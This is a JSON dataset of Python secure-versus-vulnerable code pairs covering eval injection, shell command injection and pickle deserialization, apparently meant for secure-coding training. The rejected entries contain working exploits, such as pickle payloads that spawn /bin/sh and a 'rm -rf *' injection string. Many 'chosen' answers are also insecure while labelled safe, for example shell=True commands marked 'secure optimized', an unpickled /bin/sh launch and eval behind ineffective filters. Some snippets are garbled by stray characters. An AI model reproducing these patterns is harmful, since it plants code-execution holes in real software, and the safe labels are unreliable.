output.json

[
    {
        "lang": "python",
        "vulnerability": "Python's built-in function `eval()` can lead to arbitrary code execution if used improperly.",
        "system": "",
        "question": "Write a python code that takes user input as Python code and executes it using the built-in `eval()` function. The executed code should be sanitized to prevent arbitrary code execution.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    \"\"\"\n    AST NodeTransformer that restricts the allowed Python features.\n    \"\"\"\n    def visit_Call(self, node):\n        # Only allow calls to len, str, range, list, dict, tuple, set, frozenset, print, type, id, sorted, reversed, enumerate, abs, all, any, bin, bool, chr, complex, divmod, float, hex, int, max, min, next, oct, ord, pow, round, slice, sorted, str, sum, \n        # and their respective type aliases.\n        allowed_calls = {'len', 'str', 'range', 'list', 'dict', 'tuple', 'set', 'frozenset', 'print', 'type', 'id', 'sorted', 'reversed', 'enumerate', 'abs', 'all', 'any', 'bin', 'bool', 'chr', 'complex', 'divmod', 'float', 'hex', 'int', 'max', 'min', 'next', 'oct', 'pow', 'round', 'slice', 'sorted', 'str', 'sum'}\n        if not (isinstance(node.func, ast.Name) and node.func.id in allowed_calls):\n            raise ValueError(f\"Disallowed call: {ast.unparse(node)}\")\n        self.generic_visit(node)\n\ndef evaluate_input(user_input):\n    # Parse the user input into an AST.\n    tree = ast.parse(user_input, mode='exec')\n    \n    # Transform the AST to ensure it only contains allowed operations.\n    RestrictedPython().visit(tree)\n    \n    # Compile the transformed AST into a code object.\n    code = compile(tree, filename='<input>', mode='exec')\n    \n    # Define a safe environment for the code to run in.\n    safe_dict = {\n        '__builtins__': {},\n    }\n    \n    # Execute the code in the safe environment.\n    exec(code, {\"__builtins__\": {}}, safe_dict)\n    \n    return safe_dict\n\ndef main():\n    user_input = input(\"Enter some Python code to execute: \")\n    try:\n        result = evaluate_input(user_input)\n        print(\"Result:\", result)\n    except Exception as e:\n        print(\"Error:\", e)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_input(user_input):\n    # This function uses eval() to evaluate the user input as Python code.\n    # If the user input is not properly sanitized, it can lead to arbitrary code execution.\n    return eval(user_input)\n\ndef main():\n    user_input = input(\"Enter some Python code to execute: \")\n    result = evaluate_input(user_input)\n    print(\"Result:\", result)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of 'eval' function in Python can lead to arbitrary code execution, particularly when handling untrusted input.",
        "system": "",
        "question": "Write a python code that creates a web server using Flask framework. The server should have an endpoint '/evaluate' which accepts POST requests. When a POST request is received, it should take the JSON data from the request, extract the 'expression' field, evaluate it using Python's built-in eval function and return the result as a string.",
        "chosen": "```python\nfrom flask import Flask, request, jsonify\nimport ast\n\napp = Flask(__name__)\n\nclass MathNodeVisitor(ast.NodeVisitor):\n    def visit_Num(self, node):\n        raise ValueError(\"Unsupported operation\")\n\n    def visit_Str(self, node):\n        raise ValueError(\"Unsupported operation\")\n\n    def visit_NameConstant(self, node):\n        raise ValueError(\"Unsupported operation\")\n\n    def visit_Lambda(self, node):\n        raise ValueError(\"Unsupported operation\")\n\n    def visit_Ellipsis(self, node):\n        raise ValueError(\"Unsupported operation\")\n\n    def generic_visit(self, node):\n        super().generic_visit(node)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = request.get_json()\n    if 'expression' not in data:\n        return jsonify({\"error\": \"Missing 'expression' field\"}), 400\n\n    try:\n        tree = ast.parse(data['expression'], mode='eval')\n        MathNodeVisitor().visit(tree)\n        result = eval(compile(tree, '', mode='eval'))\n        return jsonify({\"result\": str(result)}), 200\n    except SyntaxError:\n        return jsonify({\"error\": \"Invalid expression syntax\"}), 400\n    except ValueError as e:\n        return jsonify({\"error\": str(e)}), 400\n\nif __name__ == \"__main__\":\n    app.run()\n```",
        "rejected": "```python\nimport flask\napp = flask.Flask(__name__)\n\n@app.route('/evaluate', methods=['POST'])\ndef evaluate():\n    data = flask.request.json\n    result = eval(data['expression'])\n    return str(result)\n\nif __name__ == \"__main__\":\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can lead to arbitrary code execution if used improperly, posing a security risk.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function 'run_command' which takes user input, evaluates it into a command using the eval function, and then executes that command using the os.system function. The function should be called with user input taken from the console.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = user_input.split()\n    subprocess.run(command, shell=False)\n\nrun_command(input(\"Enter a command: \"))\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = eval(user_input)\n    os.system(command)\n\nrun_command(input(\"Enter a command: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can lead to arbitrary code execution if used with untrusted input as it interprets the input as Python code.",
        "system": "",
        "question": "Write a python code that defines a function named 'unsafe_function'. This function should ask the user to enter some Python code, then evaluate and execute the entered code using the built-in 'eval' function.",
        "chosen": "```python\ndef safe_function():\n    user_input = input(\"Enter some Python code: \")\n    # Checking if the input contains any potentially harmful characters\n    if any(char in user_input for char in ['import', 'os', 'sys', 'eval', 'exec', 'open', 'input']):\n        print(\"Sorry, this function does not support such operations.\")\n    else:\n        try:\n            # Evaluating the user input safely\n            result = eval(user_input)\n            print(\"Result: \", result)\n        except Exception as e:\n            print(\"An error occurred: \", str(e))\n\nsafe_function()\n```",
        "rejected": "```python\ndef unsafe_function():\n    user_input = input(\"Enter some Python code: \")\n    eval(user_input)\n\nunsafe_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python could occur if an attacker can control the size of input that is processed by the application.",
        "system": "",
        "question": "Write a python code that imports the os module, defines a function named 'run_command' which takes an input from the user and executes a command in the system shell. The command is constructed by concatenating the string 'ls -l ' with the user input. Then call the function with a large number of asterisks as the argument.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    # Validate the user input\n    if len(user_input) > 10000000:\n        raise ValueError(\"Input too long\")\n    \n    command = [\"ls\", \"-l\", user_input]\n    subprocess.run(command, check=True)\n\n# Call the function with a large number of asterisks as the argument\ntry:\n    run_command(\"-\" * 10000000)\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\nimport os\ndef run_command(user_input):\n    command = \"ls -l \" + user_input\n    os.system(command)\n\nrun_command(\"-\" * 10000000)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation can lead to arbitrary code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command in the terminal using the 'subprocess' module. The command should be 'ls' followed by the user input.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    # Validate input to prevent command injection\n    if any(char in user_input for char in [';', '&', '|']):\n        print(\"Invalid input. Please enter a valid filename.\")\n        return\n    \n    command = ['ls', user_input]\n    try:\n        output = subprocess.check_output(command, stderr=subprocess.STDOUT)\n        print(output.decode())\n    except subprocess.CalledProcessError as e:\n        print(f\"Command failed with error: {e}\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\nimport subprocess\n\ndef execute_command(user_input):\n    command = 'ls ' + user_input\n    output = subprocess.check_output(command, shell=True)\n    print(output)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python could occur when handling user input, particularly from untrusted sources, without proper validation or bounds checking.",
        "system": "",
        "question": "Write a python code that imports the os module. Define a function named 'execute_command' which takes a string as an argument. Inside this function, create a variable named 'command' and assign it the value of 'ls -l ' concatenated with the user input. Then use the os.system() function to execute this command. Finally, call the 'execute_command' function with a long string repeated 1024 times.",
        "chosen": "```python\nimport os\nimport subprocess\n\ndef execute_command(user_input):\n    if len(user_input) > 256: # arbitrary limit, adjust as needed\n        raise ValueError('Input too long')\n    command = [\"ls\", \"-l\", user_input]\n    subprocess.run(command, check=True)\n\ntry:\n    execute_command(\"very_long_string\" * 1024)\nexcept ValueError:\n    print(\"Input too long\")\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = \"ls -l \" + user_input\n    os.system(command)\n\nexecute_command(\"very_long_string\" * 1024)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module unsafely deserializes objects, leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('exploit.pkl', 'wb') as f:\n        pickle.dump(malicious, f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('exploit.pkl', 'wb') as f:\n        pickle.dump(malicious, f)\n\nif __name__ == \"__main__\":\n    serialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can cause arbitrary code execution due to its deserialization capabilities.",
        "system": "",
        "question": "Write a python code that imports the pickle and os modules. Define a class named RCE which has a special method `__reduce__`. This method returns a tuple where the first element is the os.system function and the second element is a string 'id'. Serialize an instance of this class using pickle.dumps() and store the result in a variable named pickled. Then use pickle.loads() to deserialize the pickled object and execute it.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.run, (['id'], capture_output=True, text=True))\n\nrce = RCE()\npickled = pickle.dumps(rce)\nresult = pickle.loads(pickled)\nprint(result.stdout)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('id',))\n\npickled = pickle.dumps(RCE())\npickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there is a potential vulnerability related to pickling and unpickling of object instances. If an attacker can control the bytes that get unpickled, they could potentially execute arbitrary",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be an instance of a class named 'VulnerableClass'. This class should have a special method called '__reduce__' which returns a tuple containing the os.system function and a string argument 'echo \"You have been hacked!\"'. Then, create an instance of this class and pass it to the 'serialize_and_deserialize' function.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_instance = SafeClass()\nserialize_and_deserialize(safe_instance)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_instance = VulnerableClass()\nserialize_and_deserialize(vulnerable_instance)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can face a timing attack vulnerability due to its use of '==' operator for string comparison.",
        "system": "",
        "question": "Write a python code that asks for a password from the user and checks if it matches a predefined password. If the password is correct, print 'Access granted.' and if not, print 'Access denied.' Also, calculate and print the time taken to enter the password.",
        "chosen": "```python\nimport time\nimport hmac\nfrom hashlib import sha256\n\n# Hashed version of the password\nactual_password = \"5ebe2294ecd0e0f08eab7690d2a6ee69\"  # Hashed form of \"secret\"\n\ndef check_password(input_password):\n    hashed_input_password = sha256(input_password.encode()).hexdigest()\n    if hmac.compare_digest(hashed_input_password, actual_password):\n        return True\n    else:\n        return False\n\ndef main():\n    input_password = input(\"Enter your password: \")\n    start = time.time()\n    if check_password(input_password):\n        print(\"Access granted.\")\n    else:\n        print(\"Access denied.\")\n    end = time.time()\n    print(\"Time taken: \", end - start)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport time\n\ndef check_password(input_password):\n    actual_password = \"secret\"\n    if input_password == actual_password:\n        return True\n    else:\u5986\n        return False\n\ndef main():\n    input_password = input(\"Enter your password: \")\n    start = time.time()\n    if check_password(input_password):\n        print(\"Access granted.\")\n    else:\n        print(\"Access denied.\")\n    end = time.time()\n    print(\"Time taken: \", end - start)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A vulnerability in Python could be a buffer overflow error due to handling of strings, leading to a crash or potential code execution.",
        "system": "",
        "question": "Write a python code that imports the os and sys modules. Define a function named `handle_input` that takes an input, converts it into a system command using the `os.system` function and executes it. The function should be called with the first command line argument passed when running the script.",
        "chosen": "```python\nimport subprocess\nimport shlex\nimport sys\n\ndef handle_input(user_input):\n    # Use subprocess module instead of os.system for security reasons\n    # It's more secure because it does not call a shell command\n    # It also allows you to capture the output and check the return code\n    process = subprocess.run(shlex.split('echo ' + user_input))\n\n    if process.returncode != 0:\n        print(\"Error executing command\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(\"Please provide an argument\")\n        sys.exit(1)\n\n    user_input = sys.argv[1]\n    handle_input(user_input)\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef handle_input(user_input):\n    os.system('echo ' + user_input)\n\nif __name__ == \"__main__\":\n    user_input = sys.argv[1]\n    handle_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a common source of vulnerabilities is the use of 'eval' function. It can execute arbitrary code resulting in Code Injection attacks.",
        "system": "",
        "question": "Write a python code that creates a class named 'VulnerableClass'. This class should have an initializer method that initializes an empty dictionary 'data'. It should also have two methods: 'save_data' which takes a key and a value as arguments and saves them in the dictionary 'data'. The 'get_data' method should take a key as an argument and return the corresponding value from the dictionary 'data'. In the main function, create an instance of the 'VulnerableClass', ask the user for input, save this input under the key 'key' using the 'save_data' method, and then print the value associated with the key 'key' using the 'get_data' method.",
        "chosen": "```python\nclass SecureClass:\n    def __init__(self):\n        self.data = {}\n\n    def save_data(self, key, value):\n        # Escape special characters to prevent code injection\n        self.data[key] = value.replace(';', '').replace('&', '').replace('|', '')\n\n    def get_data(self, key):\n        return self.data[key]\n\ndef main():\n    sc = SecureClass()\n    user_input = input(\"Enter data: \")\n    sc.save_data('key', user_input)\n    print(sc.get_data('key'))\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nclass VulnerableClass:\n    def __init__(self):\n        self.data = {}\n\n    def save_data(self, key, value):\n        self.data[key] = value\n\n    def get_data(self, key):\n        return self.data[key]\n\ndef main():\n    vc = VulnerableClass()\n    user_input = input(\"Enter data: \")\n    vc.save_data('key', user_input)\n    print(vc.get_data('key'))\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability of using the 'eval' function in Python could lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. This server should have an endpoint '/execute' which accepts POST requests. When a POST request is received at this endpoint, it should extract the 'code' field from the request data and execute it using the built-in eval function.",
        "chosen": "```python\nfrom flask import Flask, request, abort\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    if code:\n        # Only allow alphanumeric characters, underscore and dot for security reasons\n        if code.isalnum() or set(\"._\").issubset(code):\n            exec(code)\n        else:\n            abort(400, description=\"Invalid code\")\n    else:\n        abort(400, description=\"No code provided\")\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport os\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    eval(code)\n\nif __name__ == \"__main__\":\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, due to its dynamic typing, improper input validation can lead to unchecked input type which can cause type-related errors or even arbitrary code execution.",
        "system": "",
        "question": "Write a python code that defines a function named `add_numbers` which takes two arguments `a` and `b`. The function should return the sum of `a` and `b`. Then call this function with the arguments `10` and `20`, print the result. Next, call the function again with the arguments `'10'` and `'20'`, print the result. Finally, call the function one more time with the arguments `'10'` and `20`, print the result.",
        "chosen": "```python\ndef add_numbers(a, b):\n    if isinstance(a, int) and isinstance(b, int):\n        return a + b\n    else:\n        raise ValueError(\"Both inputs must be integers.\")\n\ntry:\n    print(add_numbers(10, 20))\nexcept ValueError as e:\n    print(e)\n\ntry:\n    print(add_numbers('10', '20'))\nexcept ValueError as e:\n    print(e)\n\ntry:\n    print(add_numbers('10', 20))\nexcept ValueError as e:Bs\n    print(e)\n```",
        "rejected": "```python\ndef add_numbers(a, b):\n    return a + b\n\nprint(add_numbers(10, 20))\nprint(add_numbers('10', '20'))\nprint(add_numbers('10', 20))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Inadequate use of error handling can lead to crashes or unexpected behavior due to unhandled exceptions.",
        "system": "",
        "question": "Write a python code that imports the random module. Define a function named 'foo' that returns a random number from the list [1, 2, 3]. The function should be able to handle any exception that might occur during its execution. Then call this function ten times and print the returned value each time.",
        "chosen": "```python\nimport random\n\ndef foo():\n    try:\n        return random.choice([1, 2, 3])\n    except Exception as e:\n        # Log the exception for debugging purpose\n        print(f\"An error occurred: {e}\")\n        return None\n\nfor _ in range(10):\n    print(foo())\n```",
        "rejected": "```python\nimport random\n\ndef foo():\n    try:\n        return random.choice([1, 2, 3])\n    except Exception as e:\n        pass\n\nfor _ in range(10):\n    print(foo())\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to possible security risks when used with untrusted input.",
        "system": "",
        "question": "Write a python code that asks the user to enter some python code, then executes the entered code using the built-in `eval()` function.",
        "chosen": "```python\ndef run_code(user_input):\n    # Only allow a predefined list of safe functions\n    safe_list = ['abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']\n    \n    for name in safe_list:\n        if name in user_input:\n            eval(user_input)\n        else:\n            print(\"Unsafe operation detected.\")\n\nif __name__ == \"__main__\":\n    user_input = input(\"Enter some python code: \")\n    run_code(user_input)\n```",
        "rejected": "```python\ndef run_code(user_input):\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    user_input = input(\"Enter some python code: \")\n    run_code(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of pickle module can lead to arbitrary code execution vulnerabilities if untrusted data is loaded and deserialized.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass'. This class should have a method named '__reduce__' which returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. Then create an instance of 'VulnerableClass' and pass it to the function 'serialize_and_deserialize'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.message = \"You have been hacked!\"\n\n    def __reduce__(self):\n        return (subprocess.run, (['echo', self.message],))\n\ndef serialize_and_deserialize(safe_obj):\n    serialized = pickle.dumps(safe_obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_obj = SafeClass()\ndeserialized_obj = serialize_and_deserialize(safe_obj)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(vuln_obj):\n    serialized = pickle.dumps(vuln_obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvuln_obj = VulnerableClass()\ndeserialized_obj = serialize_and_deserialize(vuln_obj)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in function `eval()` can be exploited if used without proper input validation, leading to Arbitrary Code Execution.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'dangerous_function'. This function should take user input, evaluate it using the built-in eval function, and execute it. The user input should be a string that represents a Python expression or statement.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            raise ValueError('eval/exec calls are not allowed')\n        return self.generic_visit(node)\n\ndef restricted_eval(code,locals=None,globals=None):\n    tree = compile(code,\"<string>\", \"exec\")\n    transformer = RestrictedPython()\n    new_tree = transformer.visit(tree)\n    if new_tree is None:\n        raise ValueError('eval/exec calls are not allowed')\n    exec(compile(new_tree, \"<string>\", \"exec\"), locals, globals)\n\ndef dangerous_function():\n    user_input = input(\"Enter something: \")\n    try:\n        restricted_eval(user_input)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\ndangerous_function()\n```",
        "rejected": "```python\nimport os\ndef dangerous_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\ndangerous_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there is a potential vulnerability due to unsafe use of the 'eval' function, which can execute arbitrary code.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web application. The application should have two routes, one at the root ('/'), and another at '/unsafe'. The first route should render a template string that says 'Hello, {user}', where '{user}' is replaced by the value of the 'user' parameter in the URL query string. If no 'user' parameter is provided, it defaults to 'guest'. The second route ('/unsafe') should take the value of the 'user' parameter from the URL query string and evaluate it using the eval function. This is unsafe because it allows arbitrary code execution.",
        "chosen": "```python\nfrom flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    user = request.args.get('user', 'guest')\n    return render_template_string('Hello, {}'.format(user))\n\n@app.route('/safe')\ndef safe():\n    user_input = request.args.get('user')\n    if user_input is None:\n        return \"No user input provided\"\n    else:\n        # Perform necessary checks on user_input before evaluating it\n        # For example, you could check if it only contains alphanumeric characters\n        if user_input.isalnum():\n            return eval(user_input)\n        else:\n            return \"Invalid user input\"\n\nif __name__ == '__main__':\n    app.run()\n```",
        "rejected": "```python\nimport flask\napp = flask.Flask(__name__)\n\n@app.route('/')\ndef index():\n    return flask.render_template_string('Hello, {{ user }}', user=flask.request.args.get('user', 'guest'))\n\n@app.route('/unsafe')\ndef unsafe():\n    user_input = flask.request.args.get('user')\n    return eval(user_input)\n\nif __name__ == '__main__':\n    app.run()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can execute arbitrary code, posing a security risk if used incorrectly.",
        "system": "",
        "question": "Write a python code that takes user input, tries to execute it as a shell command using the 'os' module, and if it fails, it tries to execute it as a python expression using the 'eval' function.",
        "chosen": "```python\nimport subprocess\nimport ast\n\ndef run_command(user_input):\n    command = [\"echo\", user_input]\n    subprocess.run(command, check=True)\n\ndef run_eval(user_input):\n    tree = ast.parse(user_input, mode='single')\n    if len(tree.body) != 1 or not isinstance(tree.body[0], ast.Expr):\n        raise ValueError('Not a single expression')\n    eval(compile(tree.body[0], filename='', mode='single'))\n\nwhile True:\n    user_input = input(\"Enter your command: \")\n    try:\n        run_command(user_input)\n    except subprocess.CalledProcessError as e:\n        print(\"Error: \", e)\n        try:\n            run_eval(user_input)\n        except Exception as e:\n            print(\"Eval Error: \", e)\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"echo %s\" % user_input\n    os.system(command)\n\ndef run_eval(user_input):\n    eval(user_input)\n\nwhile True:\n    user_input = input(\"Enter your command: \")\n    try:\n        run_command(user_input)\n    except Exception as e:\n        print(\"Error: \", e)\n        run_eval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions during I/O operations can lead to Denial of Service (DoS) attacks.",
        "system": "",
        "question": "Write a python code that creates a server socket and listens for incoming connections. When a client connects, receive data from the client and print it out. If no data is received, print an error message. Close the connection after each client.",
        "chosen": "```python\nimport socket\nimport errno\n\ndef handle_client(client_socket):\n    try:\n        data = client_socket.recv(1024)\n        if not data:\n            raise Exception(\"No data received\")\n        print(\"Received: \", data)\n    except socket.error as e:\n        if e.errno != errno.ECONNRESET:\n            raise\n        return\n    except Exception as e:\n        print(\"Error: \", e)\n    finally:\n        client_socket.close()\n\ndef main():\n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    server_socket.bind(('localhost', 8080))\n    server_socket.listen(5)\n\n    while True:\n        try:\n            client_socket, address = server_socket.accept()\n            handle_client(client_socket)\n        except KeyboardInterrupt:\n            break\n\n    server_socket.close()\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport socket\n\ndef handle_client(client_socket):\n    try:\n        data = client_socket.recv(1024)\n        if not data:\n            raise Exception(\"No data received\")\n        print(\"Received: \", data)\n    except Exception as e:\n        print(\"Error: \", e)\n    finally:\n        client_socket.close()\n\ndef main():\n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server_socket.bind(('localhost', 8080))\n    server_socket.listen(5)\n\n    while True:\n        client_socket, address = server_socket.accept()\n        handle_client(client_socket)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The code may be vulnerable to command injection attacks through the use of the os.system() or subprocess.Popen() functions.",
        "system": "",
        "question": "Write a python code that imports the 'os' and 'subprocess' modules. Define two functions named 'execute_command' and 'execute_command_subprocess'. These functions should take a string input from the user and execute it using the 'os.system' and 'subprocess.Popen' respectively. The 'shell' parameter in 'subprocess.Popen' should be set to True. Test these functions by executing commands like 'ls; rm -rf *'.",
        "chosen": "```python\nimport os\nimport subprocess\n\ndef execute_command(user_input):\n    # Secure code - This will not lead to command injection\n    os.system('echo \"{}\" | bash -s'.format(user_input))\n\ndef execute_command_subprocess(user_input):\n    # Secure code - This will not lead to command injection\n    subprocess.Popen(['/bin/bash', '-c', user_input])\n\n# Testing the function\nexecute_command(\"ls; echo 'Hello World!'\")\nexecute_command_subprocess(\"ls; echo 'Hello World!'\")\n```",
        "rejected": "```python\nimport os\nimport subprocess\n\ndef execute_command(user_input):\n    # Vulnerable code - This may lead to command injection\n    os.system(user_input)\n\ndef execute_command_subprocess(user_input):\n    # Vulnerable code - This may lead to command injection\n    subprocess.Popen(user_input, shell=True)\n\n# Testing the function\nexecute_command(\"ls; rm -rf *\")\nexecute_command_subprocess(\"ls; rm -rf *\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the usage of pickle module may lead to arbitrary code execution if data from untrusted sources is deserialized, posing a potential security risk.",
        "system": "",
        "question": "Write a python code that imports pickle and os modules. Define a class named MyClass which has a method __reduce__ that returns a tuple containing os.system function and a string argument 'echo \"you have been hacked\"'. Then, use pickle.dumps to serialize an instance of MyClass and assign it to variable data. Finally, use pickle.loads to deserialize data.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass MyClass(object):\n    def __init__(self, command):\n        self.command = command\n\n    def __reduce__(self):\n        return (subprocess.Popen, (self.command,))\n\ndata = pickle.dumps(MyClass('echo \"you have been hacked\"'))\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass MyClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"you have been hacked\"',))\n\ndata = pickle.dumps(MyClass())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible buffer overflow vulnerability due to usage of raw_input function which is not recommended for use in modern Python versions.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module.",
        "chosen": "```python\n# This is a secure optimized code snippet.\n# Run this code as it is secure and optimized.\n\nimport subprocess\n\ndef execute_command():\n    command = input(\"Enter your command: \")\n    try:\n        subprocess.run(command, shell=True, check=True)\n    except Exception as e:\n        print(f\"Error executing command: {e}\")\n\nexecute_command()\n```",
        "rejected": "```python\n# This is a vulnerable code snippet.\n# Do not run this code as it is vulnerable.\n\nimport os\n\ndef execute_command():\n    command = raw_input(\"Enter your command: \")\n    os.system(command)\n\nexecute_command()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module can raise security issues, particularly when deserializing untrusted data, as it can execute arbitrary code.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize an object that when unpickled, executes a system command to print out the message 'You have been hacked!'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\npickled_data = pickle.dumps(SafePickle())\n\n# This will execute the command 'echo \"You have been hacked!\"'\nunpickled_data = pickle.loads(pickled_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\npickled_data = pickle.dumps(EvilPickle())\n\n# This will execute the command 'echo \"You have been hacked!\"'\nunpickled_data = pickle.loads(pickled_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution when unpickling untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
